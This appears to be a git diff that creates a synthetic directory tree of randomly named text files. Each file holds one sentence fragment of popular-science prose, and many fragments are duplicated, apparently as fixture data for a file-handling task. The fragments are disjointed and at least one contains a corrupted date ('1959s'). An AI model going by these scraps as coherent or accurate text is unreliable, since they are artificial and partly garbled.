+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/vemlzkjvxkydqsdticwwx.txt
@@ -0,0 +1 @@
+feet. It is an elegant idea.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/vhekgavyztxakp.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/vhekgavyztxakp.txt
new file mode 100644
index 0000000..333e4f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/vhekgavyztxakp.txt
@@ -0,0 +1 @@
+building blocks and left crude copies of themselves. With reproduction, mutation and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/wjrxciyziht.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/wjrxciyziht.txt
new file mode 100644
index 0000000..8d5dd0b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/wjrxciyziht.txt
@@ -0,0 +1 @@
+Our computer can carry us in time as well as in space. As we run the Big Dipper backwards
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/yeltzbwmedxpxxi.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/yeltzbwmedxpxxi.txt
new file mode 100644
index 0000000..3580066
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/yeltzbwmedxpxxi.txt
@@ -0,0 +1 @@
+influence them a little. Instead, the old Ionians represent a different and largely
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/yxtyzicuhctogfgjq.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/yxtyzicuhctogfgjq.txt
new file mode 100644
index 0000000..3d27de0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/yxtyzicuhctogfgjq.txt
@@ -0,0 +1 @@
+it grows and makes many flame children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/zcgcdxhiiyarp.txt b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/zcgcdxhiiyarp.txt
new file mode 100644
index 0000000..892bcf0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_eqpflnlidb/folder_tbbpbgbrmw/folder_rpgwqvqrlb/zcgcdxhiiyarp.txt
@@ -0,0 +1 @@
+would be already inhabited, or the atmosphere would be poisonous or the climate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_bgmmuhibmgham.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_bgmmuhibmgham.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_bgmmuhibmgham.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_crplgkreb.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_crplgkreb.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_crplgkreb.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_eqnjdyscrhqkxephbfrnbijy.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_eqnjdyscrhqkxephbfrnbijy.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_eqnjdyscrhqkxephbfrnbijy.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_fpgvndcnpudcm.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_fpgvndcnpudcm.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_fpgvndcnpudcm.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_fvtgbjeciwvdukjfzx.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_fvtgbjeciwvdukjfzx.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_fvtgbjeciwvdukjfzx.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_ipvwwgngxpfvupvijzwvnnli.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_ipvwwgngxpfvupvijzwvnnli.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_ipvwwgngxpfvupvijzwvnnli.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_iymukeojb.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_iymukeojb.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_iymukeojb.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_jqkpmabydrpamr.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_jqkpmabydrpamr.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_jqkpmabydrpamr.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_kqqdfbvuakawzfdwmxzkdfy.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_kqqdfbvuakawzfdwmxzkdfy.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_kqqdfbvuakawzfdwmxzkdfy.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_maefywfrhzhmggiygzm.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_maefywfrhzhmggiygzm.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_maefywfrhzhmggiygzm.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_nuktsgtzderpmcvttzzvty.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_nuktsgtzderpmcvttzzvty.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_nuktsgtzderpmcvttzzvty.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_ocosntrltjqj.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_ocosntrltjqj.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_ocosntrltjqj.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_quekeatbnvcwissdtbmh.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_quekeatbnvcwissdtbmh.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_quekeatbnvcwissdtbmh.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_rztnvhxqejjgwinkooqbo.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_rztnvhxqejjgwinkooqbo.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_rztnvhxqejjgwinkooqbo.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_staxggffxkydtcblvkfzng.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_staxggffxkydtcblvkfzng.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_staxggffxkydtcblvkfzng.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_vufmvflimkmws.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_vufmvflimkmws.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_vufmvflimkmws.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_wpecckhqnwpueugjwgj.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_wpecckhqnwpueugjwgj.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_wpecckhqnwpueugjwgj.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_wqvydkik.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_wqvydkik.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_wqvydkik.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_xfgdgmxn.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_xfgdgmxn.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_xfgdgmxn.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_xiryufzutvrwvh.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_xiryufzutvrwvh.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_xiryufzutvrwvh.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/file_yqdufcrfvsxbclslbajugorq.txt b/big_zip/big-zip-files/folder_etsqcjcxom/file_yqdufcrfvsxbclslbajugorq.txt
new file mode 100644
index 0000000..6983479
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/file_yqdufcrfvsxbclslbajugorq.txt
@@ -0,0 +1 @@
+In a period of a few weeks, the Arecibo Observatory could transmit to a comparable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_agrlijaatgycpzrriodujen.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_agrlijaatgycpzrriodujen.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_agrlijaatgycpzrriodujen.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ckytjdzhr.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ckytjdzhr.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ckytjdzhr.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_dwuvfbxekyryewrq.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_dwuvfbxekyryewrq.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_dwuvfbxekyryewrq.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ekuhyehwyroq.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ekuhyehwyroq.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ekuhyehwyroq.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_eltaayvsplmpduedwhrtxs.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_eltaayvsplmpduedwhrtxs.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_eltaayvsplmpduedwhrtxs.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_hadygwftxgdkjveuezvfsl.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_hadygwftxgdkjveuezvfsl.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_hadygwftxgdkjveuezvfsl.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_htmtixnpkxbxuornzpdo.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_htmtixnpkxbxuornzpdo.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_htmtixnpkxbxuornzpdo.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ifixeyydhzfjobntooenjmgj.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ifixeyydhzfjobntooenjmgj.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ifixeyydhzfjobntooenjmgj.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ixcxznfbieegzalfotvws.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ixcxznfbieegzalfotvws.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ixcxznfbieegzalfotvws.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_jzvisbdraaasoyalyzt.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_jzvisbdraaasoyalyzt.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_jzvisbdraaasoyalyzt.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ldtpaiug.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ldtpaiug.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ldtpaiug.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ljteqruycdusyjvjeohextql.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ljteqruycdusyjvjeohextql.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ljteqruycdusyjvjeohextql.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_nkpcdspduxmmkuegllanlot.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_nkpcdspduxmmkuegllanlot.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_nkpcdspduxmmkuegllanlot.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_orargksnvlzcyzkxpmoe.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_orargksnvlzcyzkxpmoe.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_orargksnvlzcyzkxpmoe.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_otqamjikbephj.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_otqamjikbephj.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_otqamjikbephj.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ralbckzg.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ralbckzg.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ralbckzg.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_rpyyyzdmheppfqnznqzsaft.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_rpyyyzdmheppfqnznqzsaft.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_rpyyyzdmheppfqnznqzsaft.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ryxnblpgh.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ryxnblpgh.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_ryxnblpgh.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_urfiuabmexqhmsc.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_urfiuabmexqhmsc.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_urfiuabmexqhmsc.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_vmyynmdkh.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_vmyynmdkh.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_vmyynmdkh.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_wploltzrcwyudejecubl.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_wploltzrcwyudejecubl.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_wploltzrcwyudejecubl.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_wtsqmfelrvirxgmds.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_wtsqmfelrvirxgmds.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_wtsqmfelrvirxgmds.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_yiyfdiwq.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_yiyfdiwq.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_yiyfdiwq.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_zfbpgmcenxfd.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_zfbpgmcenxfd.txt
new file mode 100644
index 0000000..92ff3c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/file_zfbpgmcenxfd.txt
@@ -0,0 +1 @@
+within it, explorations that are exhilarating to consider. They remind us that humans have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/dekdgygysxealuwfgihw.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/dekdgygysxealuwfgihw.txt
new file mode 100644
index 0000000..a1e6f16
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/dekdgygysxealuwfgihw.txt
@@ -0,0 +1 @@
+He drew only a handful of students his first year at Graz; the next year there were none. He
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/dopnvcmtubyzrd.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/dopnvcmtubyzrd.txt
new file mode 100644
index 0000000..89122b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/dopnvcmtubyzrd.txt
@@ -0,0 +1 @@
+altitude of 400 kilometers. In the 1959s, engineering advances organized by Sergei Korolov
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/elzjscsxfcszpipmdzlpp.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/elzjscsxfcszpipmdzlpp.txt
new file mode 100644
index 0000000..8833d3e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/elzjscsxfcszpipmdzlpp.txt
@@ -0,0 +1 @@
+Only then will we be able to see them individually and not as smears or streaks.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/eyhcxowgdnpaq.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/eyhcxowgdnpaq.txt
new file mode 100644
index 0000000..61866f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/eyhcxowgdnpaq.txt
@@ -0,0 +1 @@
+views about the movement of the Earth were condemned as heretical. I must tell you that all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/fgdmfdfsf.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/fgdmfdfsf.txt
new file mode 100644
index 0000000..5c80bb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/fgdmfdfsf.txt
@@ -0,0 +1 @@
+telescopes in a remote region of New Mexico. It is a phased array, the individual telescopes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_cgztyobayx.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_cgztyobayx.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_cgztyobayx.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_eaadobayacuthyc.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_eaadobayacuthyc.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_eaadobayacuthyc.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_gdztkgsqxmtgeim.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_gdztkgsqxmtgeim.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_gdztkgsqxmtgeim.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_hwpltlkjdsig.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_hwpltlkjdsig.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
